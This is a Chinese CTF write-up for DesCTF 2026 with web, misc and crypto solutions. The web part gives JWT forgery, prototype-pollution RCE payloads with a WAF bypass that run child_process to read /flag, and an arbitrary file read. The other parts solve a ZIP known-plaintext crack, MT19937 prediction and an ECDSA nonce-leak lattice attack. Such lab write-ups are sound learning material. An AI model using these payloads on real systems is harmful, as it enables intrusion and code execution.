DesCTF2026 writeup
DesCTF 2026 部分 wp
跟队里超级小登组队打的,差一点点拿奖。只保留了我自己做的部分
不得不感慨 ai agent 的强大,解题效率有极大的提升
WEB
NoteHub
任意账密登录都会给一个 guest 的 token

弱密钥,进行伪造
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNzcyOTMzNDQzLCJleHAiOjE3NzI5MzcwNDN9.-Dix3KjjBNca1QE9tEGhm5sahrzapMzqyEavb7O3fa4
addnote 的端点在/write
addNote(id, author, content) {
this.note[(id).toString()] = {
"author": author,
"content": content
};
if (id) {
undefsafe(this.note, id + '.author', author);
let commands = {
"runner": "1+1",
};
for (let index in commands) {
eval(commands[index]);
}
}
}
undefsafe(obj, path, value) 会把 id 当作属性路径解析,而 for in 语法会同时枚举原型链上的可枚举属性。如果可以在原型链上污染 runner 就能达成 rce
{
"id": "__proto__.runner",
"author": "process.mainModule.require('child_process').execSync('cat /flag').toString()",
"content": "xnftrone"
}
好像有 waf,ban 下划线 process flag
可以用 constructor.prototype,然后用一条新 note 回显出来
{
"id":"constructor.prototype.runner",
"author":"this.note.FLAG2={author:globalThis['pro'+'cess'].mainModule['req'+'uire']('f'+'s')['readFile'+'Sync']('/f'+'lag','ut'+'f8'),content:'OK'}",
"content":"xnftrone"
}

Baby Java
看路径 /ZGXT/#/ 初步判断是 vue 前端
bundle 泄露了很多接口信息

这一部分有很多 chunk

ai 写个脚本拉下来
import re, os, requests
base = 'http://129.211.172.20:31116'
html = requests.get(base + '/ZGXT/').text
# 先从首页 HTML 提取所有 js 路径
js_paths = set(re.findall(r'/ZGXT/js/[^"\']+\.js', html))
# 再把 app.js 拉下来,补充里面出现的 chunk 名
app = requests.get(base + '/ZGXT/js/app.3d1613840f39fc707dbf.js').text
for m in re.findall(r'"(chunk-[^"]+?\.js)"', app):
js_paths.add('/ZGXT/js/' + m)
os.makedirs('babyjava_chunks', exist_ok=True)
for p in js_paths:
r = requests.get(base + p)
if r.ok:
open(os.path.join('babyjava_chunks', p.split('/')[-1]), 'w', encoding='utf-8', errors='ignore').write(r.text)
全局搜 post_看看有没有确定参数的可用端点,主要先看上传下载这些

发现 download 接口有个类似这样的用法

测试发现存在任意文件读取

Confrontation
/openapi.json 泄露了一些路由
{"openapi":"3.1.0","info":{"title":"GZ-AI-Infer-Engine","description":"AI推理引擎服务","version":"0.1.0"},"paths":{"/":{"get":{"summary":"Root","operationId":"root__get","responses":{"200":{"description":"Successful Response","content":{"application/json":{"schema":{}}}}}}},"/status":{"get":{"summary":"Status","operationId":"status_status_get","responses":{"200":{"description":"Successful Response","content":{"application/json":{"schema":{}}}}}}},"/metrics":{"get":{"summary":"Metrics","operationId":"metrics_metrics_get","responses":{"200":{"description":"Successful Response","content":{"application/json":{"schema":{}}}}}}},"/infer":{"get":{"summary":"Infer","operationId":"infer_infer_get","parameters":[{"name":"model","in":"query","required":false,"schema":{"anyOf":[{"type":"string"},{"type":"null"}],"description":"模型名称","title":"Model"},"description":"模型名称"},{"name":"input","in":"query","required":false,"schema":{"anyOf":[{"type":"string"},{"type":"null"}],"description":"输入文本","title":"Input"},"description":"输入文本"}],"responses":{"200":{"description":"Successful Response","content":{"application/json":{"schema":{}}}},"422":{"description":"Validation Error","content":{"application/json":{"schema":{"$ref":"#/components/schemas/HTTPValidationError"}}}}}}},"/verify":{"post":{"summary":"Verify","operationId":"verify_verify_post","parameters":[{"name":"token","in":"query","required":true,"schema":{"type":"string","description":"验证token","title":"Token"},"description":"验证token"},{"name":"input","in":"query","required":true,"schema":{"type":"string","description":"验证输入","title":"Input"},"description":"验证输入"}],"responses":{"200":{"description":"Successful Response","content":{"application/json":{"schema":{}}}},"422":{"description":"Validation Error","content":{"application/json":{"schema":{"$ref":"#/components/schemas/HTTPValidationError"}}}}}}},"/docs":{"get":{"summary":"Docs","operationId":"docs_docs_get","responses":{"200":{"description":"Successful Response","content":{"application/json":{"schema":{}}}}}}}},"components":{"schemas":{"HTTPValidationError":{"properties":{"detail":{"items":{"$ref":"#/components/schemas/ValidationError"},"type":"array","title":"Detail"}},"type":"object","title":"HTTPValidationError"},"ValidationError":{"properties":{"loc":{"items":{"anyOf":[{"type":"string"},{"type":"integer"}]},"type":"array","title":"Location"},"msg":{"type":"string","title":"Message"},"type":{"type":"string","title":"Error Type"}},"type":"object","required":["loc","msg","type"],"title":"ValidationError"}}}}
/status 有泄露 native verifier 路径
{
"engine":"vLLM-compatible",
"version":"1.0.0",
"native_verify":"/opt/native/fake_ai_verify.bin",
"model_base":"/models",
"redis_connected":true
}
/infer 需要 model 和 input 参数,有类似置信度的返回,可能需要尝试构造
发现这样可以拿到一个 elf,同时有"token":"278b2a2c13477ba4a791f045c827ab80"
但是发现这个是不可复现的,只有一次触发

elf 有一个运行机制

本来想让 ai 帮忙逆向一下,结果 010 直接搜到 flag 了

MISC
wireshark
这题表面全是 Modbus/TCP 流量,先用 tshark / Wireshark 看协议层级和异常流量,能发现三类值得看:
- 大量正常轮询的 func 1/3/4
- 少量 func 16 写寄存器
- 很少见的 func 8 Diagnostics
其中最异常的是这一组报文,出现在同一时间段,目标还是同一台 192.168.100.101:502,但 unit id 变成了 5 和 7,并且 Request Data 都是 8 字节随机样子:
31213 ded7825ede4fd19c
31215 9f37371c37c6fa2d
31217 54e6fe2801f0df1d
31219 763175a586db1c62
31221 9efa82d0f8eacb41
31223 7b4419392b4a6aa8
拼起来得到 48 字节密文:
ded7825ede4fd19c9f37371c37c6fa2d54e6fe2801f0df1d763175a586db1c629efa82d0f8eacb417b4419392b4a6aa8
48 字节刚好是 6 个 8-byte block,非常像 DES/3DES 这类分组密文。
继续在寄存器响应里扫可打印字符串,会发现两个特殊点:
- frame 30610,unit 2,寄存器 4096-4110 返回:
flag{this_is_fake_try_harder!}
这是明显的假 flag,用来误导。
- frame 30612,unit 1,寄存器 30000-30003 返回 4 个 16-bit 值:
21303, 17231, 19789, 12337
按大端转字节后正好是:
S7COMM01
这个值长度正好 8 字节,非常适合作为 DES key。
用 S7COMM01 作为 DES-ECB 密钥,对前面 48 字节密文解密:
from binascii import unhexlify
from Crypto.Cipher import DES
ct = unhexlify("ded7825ede4fd19c9f37371c37c6fa2d54e6fe2801f0df1d763175a586db1c629efa82d0f8eacb417b4419392b4a6aa8")
key = b"S7COMM01"
pt = DES.new(key, DES.MODE_ECB).decrypt(ct)
print(pt)
#b'flag{a3f8e2d1-7c19-4a6b-b5e8-9d2f0c4a7e31}\x06\x06\x06\x06\x06\x06'
Neural Secrets
有一个可疑的 eval_cache 张量,形状是 39 x 64。同时 embedding.weight 的形状是 95 x 64,刚好是字符级语言模型的词嵌入表。把 eval_cache 的每一行拿去和 embedding.weight 做最近邻匹配,映射回字符后得到 flag
import torch
MODEL_PATH = r"D:\ctf\Desctf2026\neural secrets\model\model.pth"
def main():
ckpt = torch.load(MODEL_PATH, map_location="cpu")
embedding = ckpt["model_state_dict"]["embedding.weight"] # [95, 64]
eval_cache = ckpt["eval_cache"] # [39, 64]
vocab = ckpt["vocab"] # char -> idx
inv_vocab = {idx: ch for ch, idx in vocab.items()} # idx -> char
result = []
for row in eval_cache:
# 对每一行 cache 向量,找 embedding 中最近的那个字符向量
dist = ((embedding - row) ** 2).sum(dim=1)
idx = int(torch.argmin(dist))
result.append(inv_vocab[idx])
flag = "".join(result)
print(flag)
if __name__ == "__main__":
main()
Real sign in?
第一层是一个明文攻击,用 png 的已知文件头
bkcrack.exe -C .\challenge.zip -c challenge.png -x 0 89504e470d0a1a0a0000000d49484452
Keys: 5eb34ede c49019bf 815834b9
解出来是一张类似二维码的图片

一眼 zigzag 变换,ai 写个脚本
import argparse
from pathlib import Path
from PIL import Image
def zigzag_indices(height, width):
order = []
for diag_sum in range(height + width - 1):
cells = []
y_min = max(0, diag_sum - (width - 1))
y_max = min(height - 1, diag_sum)
for y in range(y_min, y_max + 1):
x = diag_sum - y
cells.append((y, x))
if diag_sum % 2 == 0:
cells.reverse()
order.extend(cells)
return order
def zigzag_fill_full(gray_image):
width, height = gray_image.size
pixels = list(gray_image.getdata())
out = Image.new("L", (width, height))
out_pixels = [0] * (width * height)
for index, (y, x) in enumerate(zigzag_indices(height, width)):
out_pixels[y * width + x] = pixels[index]
out.putdata(out_pixels)
return out
def main():
parser = argparse.ArgumentParser(description="Apply full-image zigzag fill transform")
parser.add_argument(
"image_path",
nargs="?",
default="challenge.png",
help="Path to the real PNG image",
)
parser.add_argument(
"-o",
"--output",
default="zigzag_output.png",
help="Output image path",
)
args = parser.parse_args()
image_path = Path(args.image_path)
output_path = Path(args.output)
gray = Image.open(image_path).convert("L")
transformed = zigzag_fill_full(gray)
transformed.save(output_path)
print(f"[+] Input: {image_path}")
print(f"[+] Output: {output_path}")
if __name__ == "__main__":
main()
得到二维码


infrared_code
附件里的 ir_challenge.txt 已经不是原始红外波形,而是解析好的 NECext 指令流,所以重点不在协议还原,而在于分析这些指令对应的遥控器操作。
结合 1.png 可以看出,电视当前停留在搜索界面,左侧是一个 6x6 的字符键盘,上方还有 清空、删除 两个功能按钮。因此这题本质上是在还原“遥控器如何在搜索界面上输入内容”。
先对 command 做统计,可以发现共有 15 种命令,其中有 5 个低频命令明显像导航键。结合遥控码表和还原结果,可以确定映射为:
- 15 = OK
- 16 = Up
- 17 = Down
- 18 = Right
- 19 = Left
只保留这 5 个键后,把整段数据转成方向和确认操作,再按 OK 切分,就能得到一串光标移动轨迹。将这些轨迹放到截图中的字符盘上模拟,采用“垂直环绕、水平不环绕”的移动规则,从底部数字区起点还原后,会得到一串很接近 flag 的结果:
import re
# 1. 读取题目给的红外指令文件
with open("ir_challenge.txt", "r", encoding="utf-8") as f:
data = f.read()
# 2. 提取 command 第一字节
cmds = [a for a, _ in re.findall(r"command:\s*([0-9A-F]{2})\s+([0-9A-F]{2})", data)]
# 3. 根据分析得到的导航键映射
mapping = {
"15": "OK",
"16": "U",
"17": "D",
"18": "R",
"19": "L",
}
# 4. 只保留导航相关按键,并按 OK 分段
nav = "".join(mapping[c] for c in cmds if c in mapping)
segments = nav.split("OK")
if segments and segments[-1] == "":
segments.pop()
print("分段结果:", segments)
# 5. 电视搜索界面的字符盘
grid = [
list("ABCDEF"),
list("GHIJKL"),
list("MNOPQR"),
list("STUVWX"),
list("YZ1234"),
list("567890"),
]
# 6. 起点取在底部数字区 9 的位置
r, c = 5, 4
# 第12次 OK 不是文本确认,不追加字符
ignore_ok = {12}
out = []
for idx, seg in enumerate(segments, 1):
for ch in seg:
if ch == "U":
r = (r - 1) % 6 # 垂直环绕
elif ch == "D":
r = (r + 1) % 6
elif ch == "L":
c = max(0, c - 1) # 水平不环绕
elif ch == "R":
c = min(5, c + 1)
cur = grid[r][c]
print(f"{idx:02d} {seg:10s} -> {cur}")
if idx not in ignore_ok:
out.append(cur)
result = "".join(out)
print("还原结果:", result)
print("flag{1nfr4r3disfun}")
FLAG1NFR4RE93DISFUN
flag{1nfr4r3disfun}
CRYPTO
尽人事,听天命
命书 里的 2495 个 天命 值就是 random.getrandbits(32) 按小端拆出来的字节流,数量正好是 623*4+3,也就是 MT19937 的前 624 个输出只缺最后 1 个字节。
枚举这 1 个缺失字节,做 MT untemper 还原内部 state,再预测后续 3 次 getrandbits(32),从而去掉 seal_a、seal_b 上的随机掩码。
得到的 bound 枚举因子然后用 trace 做验证即可
import glob
import random
from hashlib import md5
from pathlib import Path
from sympy import factorint
def undo_right(y, s):
x = 0
for i in range(31, -1, -1):
b = (y >> i) & 1
if i + s < 32:
b ^= (x >> (i + s)) & 1
x |= b << i
return x
def undo_left(y, s, m):
x = 0
for i in range(32):
b = (y >> i) & 1
if i >= s and (m >> i) & 1:
b ^= (x >> (i - s)) & 1
x |= b << i
return x
def untemper(y):
y = undo_right(y, 18)
y = undo_left(y, 15, 0xEFC60000)
y = undo_left(y, 7, 0x9D2C5680)
y = undo_right(y, 11)
return y & 0xFFFFFFFF
def divisors(factors):
res = [1]
for p, e in factors.items():
cur = []
v = 1
for _ in range(e + 1):
for x in res:
cur.append(x * v)
v *= p
res = cur
return res
text = Path(glob.glob("D:/ctf/Desctf2026/*/task2/*.txt")[0]).read_text(encoding="utf-8")
omens = []
for line in text.splitlines():
if line.startswith("天命:"):
omens.append(int(line[3:]))
elif line.startswith("阴阳交积封印:"):
seal_a = int(line[7:])
elif line.startswith("阴阳离合封印:"):
seal_b = int(line[7:])
outs = [omens[i] | (omens[i + 1] << 8) | (omens[i + 2] << 16) | (omens[i + 3] << 24) for i in range(0, 2492, 4)]
last = omens[2492] | (omens[2493] << 8) | (omens[2494] << 16)
for hi in range(256):
state = tuple(untemper(x) for x in outs + [last | (hi << 24)])
rng = random.Random()
rng.setstate((3, state + (624,), None))
bound = seal_a ^ (rng.getrandbits(32) | (rng.getrandbits(32) << 32))
trace = seal_b ^ rng.getrandbits(32)
if bound >= 1 << 64 or trace >= 1 << 32:
continue
for yin in divisors(factorint(bound)):
yang = bound // yin
if yin < 1 << 32 and yang < 1 << 32 and (yin ^ (yang >> 6)) == trace:
a, b = sorted((yin, yang))
print("yin =", yin)
print("yang =", yang)
print("DesCTF{" + md5(f"{a}|{b}".encode()).hexdigest() + "}")
raise SystemExit
Check in
核心利用点是 d = Integer(N)**RR(0.47) 里的 RR 是双精度浮点,所以用 Python 的 int(N ** 0.47) 可以复现出同一个 d
然后设 M = e*d - 1
因为 phi_N = (p^2+p+1)(q^2+q+1) ≈ N^2
所以 k = M / phi_N 非常接近 M / N^2
直接在附近小范围搜索即可恢复 phi_N,再由
phi_N = N^2 + s^2 + (N+1)s - N + 1(其中 s = p+q)
解出 s,最终分解出 p,q
from hashlib import md5
from math import isqrt
N = 162318864198120848289602513685294100213662002310524040016141267082602211702801751627271587107738223466644399363879018058536864307889254050305605097781721847474240769410050480646447538698253600786017599233831714710010395996308361674973789283465587010960323042209564459904257042660293061844258544118566558516881
E = 20285928988408708385825788658664300305494782819689883492429762785687493161646901961627732482030570554944571523044008931416609595056746847083499405860944240804200816473153171825246196297214879750749954991916614158499347588230595409852985660426387332691700171974951765953937059128044510635005259571262430221092123685629379451869171518153057333553882827808279895371867053070597655168641441209936240962391624079704514097507822408340977683148014817264999772615710237278286803551400605422497036878844692741788304043681532328471441465596285604159664321904195632202009921776619257725630740166796422445907541165144233376010917
def recover_primes(n: int, e: int) -> tuple[int, int]:
# Sage's RR uses double precision here, so Python's float reproduces the same truncated d.
d = int(n ** 0.47)
multiple = e * d - 1
k0 = multiple // (n * n)
for k in range(max(1, k0 - 4), k0 + 5):
if multiple % k != 0:
continue
phi = multiple // k
# phi = n^2 + s^2 + (n + 1)s - n + 1, where s = p + q
b = n + 1
c = n * n - n + 1 - phi
delta = b * b - 4 * c
root = isqrt(delta)
if root * root != delta:
continue
for signed_root in (root, -root):
numerator = -b + signed_root
if numerator % 2 != 0:
continue
s = numerator // 2
disc = s * s - 4 * n
disc_root = isqrt(disc)
if disc_root * disc_root != disc:
continue
p = (s + disc_root) // 2
q = (s - disc_root) // 2
if p * q == n:
return max(p, q), min(p, q)
raise ValueError("failed to recover p and q")
def main() -> None:
p, q = recover_primes(N, E)
flag = f"flag{{{md5(str(p + q).encode()).hexdigest()}}}"
print(f"p = {p}")
print(f"q = {q}")
print(flag)
if __name__ == "__main__":
main()
Low Bits, High Risk
ECDSA nonce 低位泄露。
签名里有关系:
s = (h + r d) / k mod q
而题目把每次 k 的低 3 位泄露出来了,所以可以写成:
k = 已知低3位 + 8 * 未知量
代回签名公式后,每条签名都会变成一个关于同一个私钥 d 的线性关系。
单条不够用,但题目给了 61 条签名,够用格攻击把 d 还原出来。
没装 sage,ai 一个脚本用 sagecell
import json
import re
import uuid
from ast import literal_eval
from hashlib import md5
from pathlib import Path
import requests
import websocket
TASK_PATH = Path(r"D:\ctf\Desctf2026\lowbit\task\task.py")
def parse_task():
text = TASK_PATH.read_text(encoding="utf-8")
pub = re.findall(r"^0x[0-9a-f]+$", text, re.M)
triples = [literal_eval(line.strip().rstrip(",")) for line in text.splitlines() if line.strip().startswith("(0x")]
return int(pub[0], 16), int(pub[1], 16), triples
def build_sage_code(pubx: int, puby: int, triples: list[tuple[int, int, int, int]]) -> str:
rows = ",\n".join(repr(t) for t in triples)
return f"""
p = 0xffffffffffffffffffffffffffffffff7fffffff
q = 0x100000000000000000001f4c8f927aed3ca752257
a = -3
b = 0x1c97befc54bd7a8b65acf89f81d4d4adc565fa45
E = EllipticCurve(GF(p), [a, b])
G = E(0x4a96b5688ef573284664698968c38bb913cbfc82, 0x23a628553168947d59dcc912042351377ac5fb32)
pub = E({hex(pubx)}, {hex(puby)})
triples = [
{rows}
]
leak = 3
kbi = 1 << leak
def build(sub):
n = len(sub)
M = matrix(ZZ, n + 2, n + 2)
for i, (h, r, s, kp) in enumerate(sub):
M[i, i] = 2 * kbi * q
M[n, i] = 2 * kbi * ZZ(mod(inverse_mod(kbi, q) * mod(r, q) * inverse_mod(s, q), q))
M[n + 1, i] = 2 * kbi * ZZ(mod(inverse_mod(kbi, q) * (kp - mod(h, q) * inverse_mod(s, q)), q)) + q
M[n, n] = 1
M[n + 1, n + 1] = q
return M
def find_key(M):
for reducer in [lambda X: X.LLL()] + [lambda X, beta=beta: X.BKZ(block_size=beta) for beta in [10, 15, 20, 25, 30, 35, 40]]:
R = reducer(M)
for row in R.rows():
cand = ZZ(row[-2]) % q
if cand and cand * G == pub:
print(int(cand))
return
alt = (q - cand) % q
if alt and alt * G == pub:
print(int(alt))
return
find_key(build(triples))
"""
def run_sage(code: str) -> int:
session = requests.post(
"https://sagecell.sagemath.org/kernel",
headers={"User-Agent": "Mozilla/5.0"},
timeout=30,
).json()
ws = websocket.create_connection(f"{session['ws_url']}kernel/{session['id']}/channels", timeout=20)
try:
msg = {
"header": {
"msg_id": str(uuid.uuid4()),
"username": "",
"session": str(uuid.uuid4()),
"msg_type": "execute_request",
"version": "5.0",
},
"parent_header": {},
"metadata": {},
"content": {
"code": code,
"silent": False,
"store_history": False,
"user_expressions": {},
"allow_stdin": False,
},
"channel": "shell",
}
ws.send(json.dumps(msg))
while True:
data = json.loads(ws.recv())
msg_type = data.get("msg_type") or data.get("header", {}).get("msg_type")
if msg_type == "stream":
text = data["content"]["text"].strip()
if text.isdigit():
return int(text)
if msg_type == "error":
raise RuntimeError("\n".join(data["content"]["traceback"]))
if msg_type == "status" and data.get("content", {}).get("execution_state") == "idle":
break
finally:
ws.close()
raise RuntimeError("failed to recover private key")
def main():
pubx, puby, triples = parse_task()
d = run_sage(build_sage_code(pubx, puby, triples))
flag = "DesCTF{" + md5(str(d).encode()).hexdigest() + "}"
print(f"d = {d}")
print(flag)
if __name__ == "__main__":
main()

浙公网安备 33010602011771号